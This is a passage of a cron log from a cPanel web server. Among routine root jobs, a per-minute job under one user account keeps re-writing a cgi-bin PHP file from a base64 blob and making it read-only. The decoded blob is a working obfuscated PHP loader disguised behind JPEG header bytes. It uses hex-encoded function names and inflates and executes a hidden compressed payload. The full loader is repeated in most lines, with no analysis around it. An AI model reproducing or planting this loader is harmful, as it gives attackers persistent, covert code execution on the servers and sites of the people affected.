uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:23:01 server CROND[5143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:24:01 server CROND[5202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:25:01 server CROND[5363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:25:01 server CROND[5364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:25:01 server CROND[5365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:26:01 server CROND[5485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:27:01 server CROND[5546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 19:27:01 server CROND[5547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:28:01 server CROND[5609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:29:01 server CROND[5669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:30:01 server CROND[5728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 19:30:01 server CROND[5730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:30:01 server CROND[5729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:30:01 server CROND[5731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:31:01 server CROND[5943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:32:01 server CROND[6003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:33:01 server CROND[6061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:34:01 server CROND[6116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:35:01 server CROND[6185]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 19:35:01 server CROND[6188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 19:35:01 server CROND[6190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:35:01 server CROND[6189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:35:01 server CROND[6191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:36:01 server CROND[6454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 